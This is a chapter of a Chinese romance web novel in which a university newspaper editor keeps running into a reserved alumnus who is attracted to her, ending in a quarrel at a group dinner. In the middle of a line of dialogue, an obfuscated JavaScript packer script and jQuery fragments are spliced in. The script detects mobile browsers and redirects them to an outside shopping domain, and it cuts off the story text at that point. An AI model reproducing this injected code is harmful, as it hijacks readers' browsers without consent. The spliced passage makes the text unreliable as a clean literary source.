默认冷灰
24号文字
方正启体

26. 初恋

作者:绿色幻想本书字数:K更新时间:
    2018年。


    徐洛榆升大三了。


    每到九月,学校里总会很热闹,一方面是迎新生入校、军训期抢饭堂、社团纳新期抢新人等,另一方面则是每年一度的校庆活动会和迎新晚会一同举办。


    所以,即便是老生也会期待九月的“狂欢”。


    大三课业不比大二轻松,但身为校报社责编之一的徐洛榆,大型活动亦不能完全撒手不跟进。忙归忙累归累,当她戴着那张记者证穿梭于各个现场时,她时刻是笑盈盈的。


    因为她喜欢做这些事。


    和搭档在报社一起赶着零点前把迎新稿子敲定并完成审核和发送后,徐洛榆合上电脑,毯子一扯,歪头就在沙发睡下了。


    戴妍长舒口气:“over!今天可累死咱们了,太阳又晒得很,好在一切顺利,”她抬头看向对面已经闭眼瘫倒的某人,“榆榆,你困啦?”


    “嗯……宿舍门禁时间早过了,明天还得赶早八。”徐洛榆的声音开始迷糊了。


    “噗——”戴妍忍不住笑了,不过她倒是没去打扰徐洛榆,低声道,“我去打杯热水,帮你一起带了,等会儿回来我就把报社的门锁上,你安心睡吧。”


    “好哦,谢谢妍妍。”


    戴妍一边接水一边划手机,突然顿住,立马重看了眼推文,然后又点开责编群里那张照片疑惑地自言自语:“榆榆拍的这张侧颜帅哥很好看啊,怎么没用上去呢,多吸睛啊。”相机里的照片是戴妍一起导出来的。


    她啧啧摇头:“也不知道是新生还是老生,戴着口罩都掩盖不住那鹤立鸡群的气质,这面孔要是放表白墙去……”


    热水溢出水杯,戴妍吓一跳,赶紧关了水龙头,也就忘了刚才的思路。


    早晨坐到教室后,在催眠的早八课上戴妍又想起这茬,好奇心和八卦欲令她顿时清醒,两眼放光,摸出手机噼里啪啦打字。


    【妍妍:榆榆!这个帅哥你咋没放推文里呀!哦不,这个帅哥你咋没做成推文封面呀?!是那个帅哥不同意吗?学生们朋友圈转出去保准引流的!】


    徐洛榆正纳闷呢,原本的英语课怎么突然和职业规划课调换了。几个班一起的大课哎,而且还是早八第一节,说换就换了,关键是到场的老师和眼熟的两个院领导此刻也都已经坐在前排。


    听班长在群里悄悄说是请到了几名优秀校友,职场骨干,比上职业规划课的老师讲得有干货……


    哈哈好吧。


    徐洛榆和室友坐在后排,啃着三明治,抬头看几眼分享人,再低头写新的采访提纲,间或扒拉几下手机规划邀约校友参加校庆的事,同时耳朵搁着,一点不耽误输入。


    “有创业意向但还没实践的同学,建议毕业后先进大公司,感受和学习了相对完整的体系和企业文化,尤其是搭建社会关系网,会对你日后的创业成功很有帮助。当然,如果你已经有完整且可落实的计划,资金充足有底气,那么……”


    一开头就放大招。那人滔滔不绝地分享起自己跌宕起伏的创业之路、职场经验,PPT上是满屏的光鲜履历,清晰的时间轴和越做越大的商业版图。


    徐洛榆很没见识地小声“哇”了一下。


    当然,教室里的其他人比她声音更大。


    不过她转头又想,自己应该不是走这个路子。但到底是有干货的,她很认真地记了些笔记。


    除了前排,教室里像她这样一心几用,或者干脆玩手机摸鱼的不少,尤其是最靠后的位置。


    落笔后一个错眼,徐洛榆发现坐她前桌的那个人很不对劲!


    放在一众或歪头睡觉或低头打游戏或头对头小声聊天的人中,始终看着讲台的他显得尤其认真!


    但,教室里戴什么帽子?他好装啊。


    戴妍的消息就在此刻传来。


    徐洛榆握起手机。


    【榆榆:唔,我问过啦,他不同意推文里使用他的照片】


    【妍妍:叹气.jpg】


    【妍妍:话又说回来,开学前组织的那场各社团纳新直播,弹幕里好多人要你的联系方式嘞!那些留言要加入报社的新生们可不少,还得是咱们的门面小榆姐姐啊】


    徐洛榆不禁扶额低笑了声,前面某人耳朵微动,她并没有注意到。


    【榆榆:可以了可以了,图穷匕见啦姐妹】


    【妍妍:哭唧唧.gif】


    【妍妍:纳新那天你真不来?】


    见此,徐洛榆输入了几句话,又犹豫着删除了,反复斟酌。


    【榆榆:大二的部长们该担起大梁了,这才开学我们就给他们擦了两回屁股。主编大人,我们不可能永远做兜底的“校队”。】


    按理迎新推文的主要工作就该由大二的来负责,但那同学临时开天窗,既没有做多少采访,拿着社员们搜集来的资料也憋不出东西,同级部长们原是不想打小报告才一直催他,也说要帮他。他一会儿说晚上有课,一会儿说补考要复习,一会儿说马上回宿舍了,但仍然信誓旦旦说自己负责的事自己会干好。


    结果就是晚上十点半了,Word文档空空如也,他终于在宿舍里隔着网线坦诚了。留在报社的几位部长又急又气,毕竟是校级报社,推文发出前也要给审核老师看的,一个小时太赶了。还是徐洛榆和戴妍及时做了安排,且和老师那边沟通道歉并速速给了初稿。


    【对方正在输入中…】


    徐洛榆叹气。


    【妍妍:算了,不说那些。我听说文鑫学长的工作室在招实习生,榆榆加油哇!】


    秦文鑫大她们好几届,当年在校时因爱好组了个小说编辑部的社团,原本大家都只当是玩玩的,社团都不一定能维系几年。可步入社会后她又开办了自己的编剧工作室,如今做得有声有色,毕业都好几年了,还会时不时给留下的小说编辑部社团做些经验分享会,现在社团也办得有模有样,社员在培训课中收获良多,为爱发电的同时又能赚到稿费。


    徐洛榆也是其中一员。可以说除了学业以及亲友间日常往来,她在大学时几乎所有的精力都交给了这些热爱的事情。


    【榆榆:嗯!我已经投递简历了!秋招不行我就冲春招!大三不行我就大四继续!】


    “职场中不免会遇到形形色色的人,现在跟你们说这些或许还不太能领悟到。进社会后的工作和在学校社团的为爱发电不是一回事,有些人大话喊得好听但实事不干,领导还就喜欢,你怎么办?有些人勤恳认真极尽负责,偏丢来的烂摊子越来越多,你管不管?”


    换了另一个宣讲人,分享的倒是与先前那个创业人士不同。看来这是妥妥的高级打工人啊。


    因深有所感,徐洛榆下意识抬头,却和正前方转过头的视线对上了。


    冷漠——这是徐洛榆对他的第一印象。


    光线被帽檐阻隔,投下一半阴影。眼睛一错不错地看向她。


    徐洛榆很确定这人就是在看她。毕竟他俩脑袋的距离也就隔一个桌面即几个拳头而已。


    不知道是不是生性不爱笑,他面无表情的脸看上去好像在说:好聒噪的人类,我为什么要在这里,你是谁,你们是谁,你们的气息污染了我的空气,请不要跟我讲话,我不想听,我会用三十七度的嘴说出零度的“很烦”。


    可他真的好帅!这是第二印象。


    深邃的眉眼,高挺的鼻梁,瘦削的下巴,好一副俊朗五官,还有她原先就看到的宽阔肩膀。她猜他的身材比例应该很不错。


    暑气未消,现在白天大家都还穿得比较单薄,顶多加穿一件敞开的外套。徐洛榆瞧见了他锁骨上的小痣。


    但徐洛榆又不是颜控。他也不说话。


    怎么了!她就是玩个手机发个消息还吵到他了吗?!


    她移开视线,心道:帅帅的装货。


    “你不开心吗?”那个帅帅的装货忽然问道。


    徐洛榆被这声音问得愣了愣。略有些低沉,还有点耳熟。并不是卡痰似的造作气泡音,不是刺耳的刻意磁音,倒也不元气不温柔,就是有种……等等,这不是辨音题。


    等她反应过来时,他已经转回去了。


    怎么了!这点耐心都没有吗?!


    她不就是觉着他好看声音又好听吗!


    徐洛榆也不知道自己怎么想的,心里有点不上不下的,干脆写了纸条,然后下巴靠在桌面,做贼心虚地伸手戳了戳他后背。


    那人再度转头,这回他的眼中竟多了几分讶异。


    徐洛榆忽然觉得他有点眼熟。


    主要是他的眼睛好像在哪里见到过。


    帅帅的装货接过纸条,垂眼看去——“干嘛?想搭讪?”


    许明漾觉得好笑。非贬义。他是真的发自内心且莫名其妙地有些乐。


    原来她不记得他了。


    毕竟昨天来搭讪的人分明是她呀。


    “嘿同学!你是新生吗?”戴着口罩的许明漾来学校寻旧友,他知道今天新生报到,校内会很热闹,不过他是无所谓。


    再怎么热闹,也与他无关。


    不乏有推荐办卡的、卖生活用品的或是热心同学主动来打招呼,还有扛着摄像头亦或是做采访的人。大道小道都是人,他有些厌烦了。倒不是觉得别人烦,就是……


    “同学,抱歉打扰一下。”一个女生气喘吁吁地跑了过来。


    许明漾原本没想停留的,他下意识一瞥,瞧见了她弯腰喘气时,身前晃荡的记者证。


    “同学,我刚刚拍照片时恰好拍到你了,”她气还没喘匀,大概是怕他立马掉头就走,开门见山道,“特别好看!所以、所以想来问问你,可不可以用在迎新推文里?”


    许明漾蹙眉:“如果我不同意呢?”


    徐洛榆倒是没有失落或不忿,反而是笑道:“嗐,你不愿意那就不用。”她专门为这可大可小的事跑过来说一声,却在察觉到他的抗拒后并不执着游说,什么多好看、不挂上去可惜、推文受众很多是很好的曝光之类。


    “嘿嘿,不过真的很好看哦,你要不要瞧瞧?”边说着,她举着相机站到一旁,没有冒犯地凑近,而是隔着些距离将相机递近指给他看,“是不是,我没说错吧?要不要我发送给你?可以自己留作纪念。”


    熙攘人群,唯他独行。周遭背景虚化,但他的侧颜格外清晰。


    很好看。这是实话。


    许明漾又看向她。女孩的额上、脸上挂着汗珠,鬓边发丝微微沾在脸侧,艳阳下,她的笑容有些耀眼,脖间挂着相机和记者证的带子,因为出汗而颜色变深了些。她还斜挎了个挎包,那个大小差不多能装个记事本,不会很重不会很碍事。


    挎包边沿的确露出本子一角,还有扣在本子上的圆珠笔。


    其实他进校园不久就注意到她了。


    许明漾又问了一遍:“我说不同意,你就不再争取一下了?”


    徐洛榆先是一愣,而后摇摇头:“你已经表态了,我也能感觉得到你不喜欢,再多说余的话就是强求了,即便你同意了也会很勉强,说不定还会不大舒服。所以我觉得没必要,本来就没给你什么报酬呀,这不是你的义务。”


    许明漾诧异道:“我以为,你们应该会很重视阅读量点击率之类的东西。”


    徐洛榆眉头一皱,认真道:“不是的。记者,记着。我们报社做采访、做推文、写报纸,最重要的是去做有温度的内容、是看见人本身,而不是数据。”


    “唉,当然不是说数据没用。毕竟这是客观存在且不可避免的,如果没有人看、没有人传播,那么辛苦做出来的内容就会沉入大海了无生息。但太重视后者就是本末倒置了。可要说不重要,那可能有点傲慢……”


    徐洛榆有些着急:“我就是不太高兴你说我们很重视的是点击量。”


    她顿了顿,“我说这些会不会太严肃了?”


    许明漾一贯没什么波动的表情此刻却微微弯了眉眼,“我觉得很有意思。嗯,是夸赞的意思。”


    徐洛榆瘪瘪嘴,而后乐道:“是啦,我知道这听起来可能会有点中二、有点理想化。不过,文字是有影响力的,故事是有影响力的,人当然是尤其有影响力的,哪怕抛开更本质的东西,只说时效性、趣味性以及与在校生切身的相关性,我们所坚持做的内容,怎么不算是很有意思呢?”


    徐洛榆感觉面前这人好像还挺乐意听她唠叨的,当即起了招揽他的心思,“同学你大几呀?要不要考虑加入我们报社?我们报社可是前前前前前前任校长创办的哦!”


    许明漾摇头笑说:“这下真要叫你失望了,我是已毕业的校友。”


    “啊!”徐洛榆大叹一声,“我看你很年轻啊!”虽然看不到口罩下的脸就是了。不过她也没再纠结,只脑袋上被几朵乌云笼着,有些恹恹的。


    许明漾忍俊不禁:“要不,你告诉我,你们公众号叫什么,我关注一下?”


    徐洛榆的双眼立马就亮了,抬手握住记者证一翻,背面就是二维码,“扫这个!”


    许明漾眉头一跳,扫完发现真是名为“记着”的报社,也确实有学校认证标识。


    徐洛榆目露怀疑地“嗯?”了一声,“你不信我啊?”


    许明漾:“我以为扫码是加你的微信呢。”


    徐洛榆哈哈大笑:“哎呀小伙子搞这出,怎么还来搭讪我呢。”


    许明漾目移:“不是你先搭讪我的吗?”


    许明漾以为徐洛榆就是他第一回见到的那种阳光开朗,跟谁都能自然聊起来的性格,但现在,他不太确定了。她觉得她和他想得不太一样。


    当下,许明漾无奈地掏出公众号已关注界面,似有些幽怨道:“是我呀。小记者,你不记得我了?”


    徐洛榆呼吸微滞。


    她要是昨天就知道这人口罩下长这样,她肯定不会跑过去跟他自如地侃天侃地了!


    主要是……主要是……这个人,完全长在了她的审美点上。


    帅帅的装货原来就是昨天那个印象还不错的疑似挺帅的陌生校友啊。


    徐洛榆“哈哈”两声,倒头就睡。


    低笑声响在她脑畔。挠得她心窝痒痒的。


    两侧的室友目光如炬,灼得她脸颊发热,偏这时候还不好多话。


    徐洛榆没忍住,又抬起头来:“你真是,你怎么不早说。”


    她脸颊微红,故作镇定嘀咕道:“纸条还我,我不要面子的吗?”


    许明漾也学她,像是在课堂开小差怕被老师发现的样子,动作极小,“借支笔。”


    徐洛榆不想借。她顶着三道视线,还不知道一会儿下课了要怎么应对呢。


    然而一旁的某位热心市民快速递过去一支笔,同时很小声道:“近水楼台先得榆,单论颜值,我们还是很看好你的。”


    救命啊!室友在叽里咕噜说什么呢!


    许明漾笑了笑没有应,转过身写了些什么,递回给徐洛榆后就又变回那副两耳不闻窗外事的冷漠装货样了。


    “嗯。”


    嗯?


    嗯?!!


    纸条正面是徐洛榆留下的——“干嘛?想搭讪?”


    背面是许明漾的——“嗯。”


    坏了。徐洛榆想,这人好像在撩她啊。


    这不好这不好,太暧昧了,很奇怪。


    所以一下课她就溜没影了。


    可惜这只是中场的课间休息,并不是大课结束了。徐洛榆卡着时间点犹犹豫豫回到座位,抬眼却瞧见前座空了。


    她愣了愣,随后笑了一声。但脸色明显落了下去。


    雨点噼里啪啦打在窗户上,树叶被风吹得簌簌作响,这些嘈杂的声音并不影响课堂的继续。


    “非常感谢优秀校友们的分享,相信各位同学也收获颇多。原本还邀请到一位出色的企业家,不过对方不想透露个人信息,但好消息是,他会提供实习生内推通道,感兴趣的同学们请关注稍后的群消息,做好充足准备……”


    外头阵雨来得急,走得也快。原本还艳阳高照,这会儿地上就积了些水,不过没多久太阳又出来了,大大小小的水洼本也就不深,很快就会晒干,像是从来没有湿水的痕迹那样。


    直到下午,天上出了彩虹。许明漾才回过神,自己之前在纸条上留的回应有些冒昧,甚至是放浪了。这对于一个不谙世事的年轻女孩来说,非常的……暧昧且……古怪。


    他不知道怎么形容。


    哪怕许明漾一开始只是存了些逗一逗她的心思,他也不得不承认,他有点在意这个才见过两面却连名字都不知道的人。


    毕竟他又不是20出头的愣头青,他是在社会、在商界、在形形色色的社交圈里打滚了十几年的成年人。虽说现在才28,算得上年少有为,虽说他的感情履历很干净,但严格来说,他也快30岁了。


    那个女孩才多大?刚刚从大二升为大三,应该也就21左右。况且他……


    一阵风吹过,许明漾忽而清醒不少。


    他有点庆幸自己没有去添加她的联系方式。


    学生们嘻嘻哈哈的声音从远处传来,许明漾刚走出教学楼,准备离开了。他只是下意识朝人群张望一眼,结果很巧的是,他和刚刚心里还念着的女孩对上了视线。


    隔着熙熙攘攘上下课的人流,恰好与彼此对视。他心头微跳。


    然下一刻,小姑娘扭过头,和身旁的同学笑谈,仿佛根本没有瞧见他。


    也是,毕竟他们也算不上认识。


    匆匆第三面,结局已落笔。


    .


    虽说有迎新会,但九月有太多事项不可能都挨在一起,所以迎新晚会及校庆一同放在十月底。徐洛榆被老师委以重任,邀请历届校友,她有相对充足的时间做准备。


    老师:“对着这个名单去邀请就行,上面的人都是和学校长期保持交流的校友,有些只有基础信息但没标注社会履历的是其不想向其他师生透露太多个人信息,你这边不用在意。”


    徐洛榆应下。


    同一时刻,许明漾拒绝了好友的邀请。


    “我不去,你们玩得开心。”


    昔日室友兼留校教师的朋友不依不饶:“哎,明漾你就当来放松放松,到时候操场上一堆年轻人热热闹闹的,晚上的秋风也吹得人舒坦,你也才二十几岁,何必整天搞那么老成?我看再这样下去可不行,你这些年忙着搞公司忙着拉扯你弟,就是没花心思在自己身上,我都很少见你笑了!”


    许明漾皱眉:“我一直就不爱笑。”


    朋友一噎,随后怒指他:“榆木脑袋!这样谁乐意跟你交往,天天看你这大冰脸就够凉的了。我都结婚六年了,你再瞅瞅你。”


    许明漾坐靠在椅子上,捧着一本书目不斜视:“哦。恭喜啊。”


    朋友气急又无可奈何:“算了算了,懒得跟你掰扯,”他又问道,“这些日子在学校里感觉怎么样?”


    许明漾顿了顿,想起什么,有些出神:“还行。”


    朋友敏锐地察觉到他那一丝异样,坚决刨根问底:“什么还行?哪里还行?快展开说说!”


    许明漾被吵得烦了:“再多嘴我就不来了。”


    朋友却眯眼笑道:“许明漾,你不对劲。”


    “本来就是想让你来散散心的,再说了,你给咱们学生提供了实习的优先内推通道,对学校来说也是好事一桩。我领导还想让我劝你也开个宣讲给学生们开开眼界嘞,我都给你推拒了,省得你休假还要工作。”


    “说真的,明漾啊,你给自己减减负吧,这十几年你已经做得够多了。现在,像个年轻人一样,也去莽撞一回有何不可?”


    半晌,朋友都准备离开了,许明漾忽而出声:“我好像喜欢上了一个人。”


    朋友好奇,朋友逼问。


    许明漾看向窗外出神:“她还太小了。”


    平地一声雷,朋友大惊,朋友害怕。


    许明漾仿若自言自语:“哄小孩很麻烦的。”家里那个弟弟就很烦,把他送出国这几年许明漾好歹是清净多了。


    朋友哆嗦道:“你可不能走邪门歪道啊,未成年不行的!就算你是我朋友我也要大义灭亲的!”


    许明漾皱眉冷声:“滚!”他补充道,“她大三了。”


    朋友捂着心口:“哦哦,那没事。虽说人家是比你小几岁,但也不是小孩子了,你这脑回路倒是清奇。”


    许明漾不太想继续说了。


    朋友:“喜欢人家就去追啊,去争取啊,你在这儿搞什么暗恋啊。”


    许明漾垂眸:“她不会喜欢我的。”


    她的身边有很多人。


    她光芒内敛,不熟悉她的人或许只会看到她平日里看似乖巧腼腆的外表,可当她愿意展开外壳时,她是很耀眼的。她很喜欢和人交流,她很在乎自己笔下的内容,很关心人物背后的故事,甚至于很细心,勇敢又不越界冒犯,认真又不失可爱,还有些调皮,她……应该有很多人喜欢吧。说不定都已经有男朋友了,只是他没见到而已。


    “她还有很大很大的世界没有去看过,怎么会为我停留。”


    朋友愣了愣,摇头不赞同道:“许明漾,我觉得是你把自己关得太久了。或许你不需要任何人为你停留,你可以和那个人一起走的。”


    许明漾抬眼:“哪怕结局注定分手吗?”在情感上,他向来悲观,且不抱期待。


    朋友怒其不争:“没谈过怎么知道?分手了就不能复合了吗?你就不知道死缠烂打吗?”


    许明漾蹙眉不赞同:“不喜欢还缠上去,太没素质。”


    朋友被戳到,急得跳脚:“是是是你有素质!你就等着天上掉个对象是吧,我是对我老婆死缠烂打了又怎么样,我当年就是喜欢当备胎怎么样!她就是喜欢我啊,我才是她最爱的人!不被爱的才是小三!”


    许明漾幽幽道:“你别破防啊……”


    九月匆匆过去,徐洛榆忙得晕头转向,好在马上就迎来十一假期。


    徐洛榆和室友约着去爬山。


    哈哈爬山,哈哈晒太阳。


    哈哈,徐洛榆坐在石头上大喘气,摆着手不断摇头:“不爬了不爬了,我得歇歇,还有多少台阶?”


    “这才一半嘞。”


    徐洛榆咽了咽口水,她躲在阴凉处,看着这三对小情侣,感叹:“这样,你们继续吧,我就留在这等你们下山。我真爬不动了,这里风景多好?我就在这看风景吧。”


    一位室友担忧道:“那不行,不能留你一个人,我在这陪你,”她挨着徐洛榆一屁股坐下来,“反正我也爬不动了。”


    室友男朋友欲言又止。


    徐洛榆忍不住笑道:“得了吧,咱们宿舍就属你体能最好,”她推着室友起身,“你们上去多拍点照片啊!我想看!”


    室友们拗不过,给徐洛榆分了好多零食,这才离开。


    徐洛榆头顶遮阳帽,手摇便携扇,嘎嘣嘎嘣嚼着薯片。她仰头眯眼看了会儿头顶的树枝树叶,视线落下时,不经意和刚上台阶的某人对上视线。


    对方显然也愣住了。


    他停了下来,没有走开,但也没有走近。


    徐洛榆尴尬地打了声招呼:“嗨!”


    她以为他顶多也就回一声就走了。


    哪料到,这人竟然忽然笑了开来,然后大步朝她走来。


    没事笑那么好看做什么?!她都不好意思对他冷脸了!


    许明漾在一旁坐下,微笑应道:“嗯,好巧。”


    徐洛榆下意识道:“是啊,第四次碰见了。”说完她又觉得不太对,她记这么清楚做什么?


    许明漾闻言双眸微亮,唇角不自觉弯起。


    徐洛榆赶紧转移话题:“你一个人吗?”


    许明漾点点头:“嗯。”


    沉默,安静。


    徐洛榆:……


    徐洛榆:“我是和室友们一起来的,但我不想爬了,让她们和对象继续爬去,这么热这么晒,说实话我现在更想待在空调房里吃冰棍。”


    许明漾问:“那要不要现在下山?”


    徐洛榆没反应过来:“哎?”


    许明漾指尖微蜷:“附近有个大商场,可以吹空调。”


    徐洛榆愣了下,随即忍不住笑起来:“我就是吐槽一下嘛,我才不想这会儿下山呢,累死了,而且一个人多无聊啊。”


    许明漾指了指自己:“还有我。”


    徐洛榆这下子是真的有点控制不住心跳了,答非所问:“你怎么一个人来爬山,女朋友没有一起吗?”


    许明漾微笑:“没有女朋友。”


    徐洛榆哼哼两声:“我不信。”


    许明漾疑惑:“为什么不信?”


    徐洛榆:“以你的颜值和身……身高,不可能没有女孩子不喜欢你。”


    许明漾微微蹙眉,像是在思考,试探道:“这么说来,你肯定也有男朋友,对吗?”


    徐洛榆下意识回应:“没有啊!”


    得到了想要的答案,许明漾笑意更深:“为什么?”


    徐洛榆觉得哪里不太对,肯定是天气太热了,所以脑子晒得有点糊涂,“因为我没有喜欢的人,这个答案不是很简单么。”


    她歪头道:“不是我在问你吗?”


    随着时间流逝,日光发生了偏移。原本有树荫的地方,此刻漏了几缕直晒的光,有些刺眼,徐洛榆眯了眯眼睛。


    许明漾忍不住伸手,不加思考地,将手掌挡在她的头顶。


    两人皆是一愣。


    许明漾抿了抿唇,没有收回手:“因为我也没有遇到喜欢的人,”他补充,“之前没有。”


    徐洛榆不是会自作多情的人,她眨了眨眼移开视线,翻起背包,“你热不热啊?我想起我这儿还有好多冰凉贴,你要不要用?我给你拿几包吧,薄荷的,挺舒服的。哦对了我还多带了扇子,借你。”


    许明漾掩下未名的情绪,轻声道:“好啊,谢谢你。”


    徐洛榆揉了揉耳朵:“嗯嗯,不用客气。”


    许明漾转移话题:“朋友说假期就应该出来走走,放松心情,我就来爬山了。”


    徐洛榆意识到他是在回答第一问。


    “那你成功了吗?”


    许明漾沉默三秒,而后低笑,看向她道:“嗯。”


    在没见到徐洛榆之前。这次的爬山和以往没什么不同,不同的风景,同样的心境,无趣,茫然。脱离了繁忙的业务和明确的目标后,许明漾就不知道该做什么了。


    这几年一直如此。


    却在见到徐洛榆后,他的心跳乱了。他克制不住想向她走去。他想要看到她因为他而绽开笑容。


    他想和她说话,想听她的声音,想和她对视,想……挨得更近一些。甚至,会嫉妒她可能存在的男友。


    原来他还会有这样的一面啊。许明漾自己都有些惊奇。


    其实就在踏上台阶看到树荫下的她第一眼时,许明漾先是惊喜,而后是生气。生气为什么有资格来到她身边的人,竟然把她一个人留在这里,她的同伴去哪了?


    无理取闹的想法。


    徐洛榆甩了甩腿,舔舔唇忽而主动道:“如果你也不想爬山了的话,要不咱俩现在先下去?我真的有点想吃冰棍。”


    “好啊,”许明漾应道,同时摊开掌心示意,“这个冰凉贴我不会用,你可以帮我吗?”


    徐洛榆:“没问题!你想贴哪儿?”


    许明漾:“后颈吧。我先擦擦汗。”


    他拿出一包纸巾先问道:“你要用吗?”


    徐洛榆不客气地抽了两张,“谢啦。”


    随身携带纸巾说明爱干净,加分加分。


    许明漾转过身,低头,“麻烦你了。”


    徐洛榆凑近,“你太高了,再低一些。”


    “好。”


    冰凉贴的这一面触感像是果冻,接触到肌肤上时,对于许明漾来说有种怪异感。但让他更敏感的是再正常不过的人类指腹,不经意地轻轻划过,然后为了贴牢,又按了几下。


    他克制不住指尖发颤。像是动物后颈被猎手捏住,不敢乱动,只待对方生杀予夺。


    可他却想……想那人的温度停留得更久一些。


    指腹的接触面太小、太小了。


    徐洛榆疯狂眨眼。她怀疑面前这人在勾引她!


    也没有证据证明他不是在勾引啊!


    长得好看,声音好听,身材火辣(划掉),脖颈线条也结实漂亮!


    而且他抖什么?这么怕痒?这么大只的人原来是这样的风格吗?她又没用力,就是正常贴个冰凉贴,跟贴药膏也没区别了。


    她发誓她绝对听到那声几不可闻的闷哼了!


    还想听……


    唉,怎么不说锁骨也贴两张呢?


    许明漾若无其事地转过身后,徐洛榆的视线不经意落在那颗小痣上。


    然后移开视线,“我的室友们下山还得几个小时呢,我给她们发消息了直接下去汇合。”


    许明漾:“好。”


    徐洛榆刚拎起包,许明漾就接过了,“我来背。”


    徐洛榆乐得轻松:“那就辛苦你了,下去后我请你吃冰棍啊!”


    许明漾微笑道:“好。”


    徐洛榆:“你怎么总说好?”


    许明漾:“因为不想说不好。”


    徐洛榆背着手煞有其事道:“听君一席话如听一席话。”


    许明漾:“多谢夸奖,为了答谢你的褒赞,我也请你吃东西,”他看了眼天色,估计徐洛榆和室友碰面后也差不多要五六点了,“请你吃晚饭,可以吗?”


    “好呀好呀!”徐洛榆应答后步伐一顿,又继续边下台阶边摇摇头,“不行不行,我和室友们约好了一起吃饭的。”


    许明漾走在一旁问道:“我可以加入吗?”


    徐洛榆坦诚道:“如果我的朋友不介意的话,当然可以。”


    许明漾忍俊不禁:“我现在算不算你的朋友?”


    徐洛榆摆摆手:“朋友也分亲疏远近的奥。”她当然不会为了这个刚认识的、只是有那么一点子好感的人,而让自己朝夕相处两年多的室友勉强退让。


    许明漾抿唇低笑:“下回没有别人的时候,我请你吃饭,好吗?”他猜徐洛榆不会同意他无缘无故对着她的室友们请客的,只有室友带着确定关系的对象来给大伙儿掌眼儿时,才会有请客这种事。


    徐洛榆扬起笑脸乐道:“好啊,这位朋友。”


    吹着空调吃着冰棍,徐洛榆感觉自己终于活过来了。


    “抱歉,”许明漾坐在小桌对面忽然说,“之前在教室里,我不是有意捉弄你的。”


    “我的确想跟你搭讪。”


    闻言,徐洛榆努力憋笑:“哦哦哦。”


    课堂上那回其实不算什么。徐洛榆没觉得他们还会再遇。


    但是这次,她能明确察觉到他的靠近,那她也不会退缩。如果这之后他再后撤一下,那她一定会立马后退九十九步。


    许明漾觉得如果有误会还是及时说开比较好,他确定那天下午看到她时,她应该是生气了的。


    所以他一本正经道:“为表歉意,我再欠你一顿饭好不好?”


    徐洛榆愣住。


    不是,这人有点得寸进尺了哈。这就约上两回了,理由还这么冠冕堂皇。


    徐洛榆手持冰棍,昂起下巴:“我可是很忙的啊,没空陪你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410811|196217||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吃那么多顿饭。”


    许明漾真的觉得和她待在一起很放松、很快乐。


    他乐道:“那怎么办,给我一个明示吧,让我有将功补过的机会。”


    徐洛榆提溜了一圈眼珠,而后眨巴两下眼睛:“嘿嘿,还没想好,先欠着吧。”


    许明漾笑意加深:“好。”


    等到和大部队汇合,室友们果然八卦气息燃起,热情地说着:“哎呀榆榆的朋友就是我们的朋友,走走走一块儿干饭去,别见外。”


    “榆榆,”室友挤眉弄眼,“介绍一下呀。”


    徐洛榆顿住。


    许明漾也愣住。


    哦对,他俩还没互通姓名。


    一个尽想着要怎么搭讪怎么约下一回见面,另一个尽想着母单多年是不是快要脱单了。


    完全不知道对方叫什么!


    哈哈瞧这事闹的。


    许明漾主动自我介绍,其余人也没觉得不妥。


    徐洛榆很忙,忙着给室友们夹菜:“都吃,都吃。”


    在座的都还是大学生,只有许明漾已经工作了。众人便不免对此有些好奇,倒是没有深问。


    许明漾只说,自己是某大厂员工,现在做到了管理层,位置不高不低,普通偏上一些。


    只是这样,对于未入社会的在校生来说就已经很了不得了。


    众人不免哇哇惊叹。请教起职场经验来。


    倒是有个男生酸溜溜道:“也没什么大不了的,我们毕业后干几年不也能到这个位置吗?你们也不用这么夸张啦。”


    四个女生坐一边,四个男生坐一边。他正好坐在许明漾身侧,顺势勾肩搭背道:“哥们儿,不是我说你,做人要少吹牛,尤其在职场,领导最瞧不起说大话的人了。今天你在这,咱们都是朋友,随便说说没什么,哪天要是在酒局喝醉了,再说七七八八的,啧啧,可得小心别给开掉了,到时候哪句话说错了自己都不知道。”


    男生的女友脸色不太好看,“吃你的饭吧。”


    男生不高兴了:“怎么只准这个新来的吹牛还不让我说,你们就是势利眼,早看不惯我了是吧?就爱捧高踩低是吧?我现在是没什么钱,怎么了?早就想分手了是不是?”


    女生:“我说错什么了?你阴阳怪气什么?势利眼在骂谁?谁捧高踩低?这就上升到分手了?你哪来的素质在这阴阳我室友的朋友?”


    男生摔筷子指着她开骂:“就许你瞧不起我还不许我说了?!我吃你几顿饭用你几个钱,一天天给我甩什么脸色!在外面都不知道维护男朋友的地位!”


    徐洛榆按下气哭的室友,对着那男生拧眉呵斥:“爱吃吃,不爱吃滚!每回都是她给你花钱,你乐颠颠地收了那么多礼物、吃那么多顿饭,出去打车都没花过一次钱,现在还有理了来指责她,你有什么资格?软饭硬吃还整天吵吵,大家够给你脸了!要不是她喜欢你,我们谁稀得搭理你!”


    “榆榆……”室友拉住徐洛榆的袖子。


    徐洛榆微顿,“你要是还想替他说话,我也就不管了。”


    室友抹着眼泪摇头,对着那人道:“分手吧。不是你说要分手么,那就分,爱跟谁吵跟谁吵去。”


    男生彻底破防,握住杯子一个暴起,但立马就被一左一右的拽住了。


    许明漾脸色黑沉如墨,“你想干什么?”


    男生怒道:“你们不也都是群小白脸么,那群婊……”


    一个拳头冲到他脸上。


    “脏东西,不会说话就闭嘴!”


    事情闹起得很突然,结束得也利落。那个男生自知理亏,即便心中不忿,也不想真的闹到警局去。


    他还想说点什么。


    徐洛榆冷笑:“我已经拿到了监控。你自己说了什么、做了什么、手里的杯子准备砸去哪里,你心知肚明。”


    那人面色一僵,灰溜溜跑了。


    “跑什么呀?不是觉得自己很有理吗?”还有看热闹的人不嫌事大地对他喊了几声。


    大家都没了继续玩乐的心思,早早回了宿舍。


    许明漾在宿舍楼下等徐洛榆。


    许明漾:“今天吓到你了。”


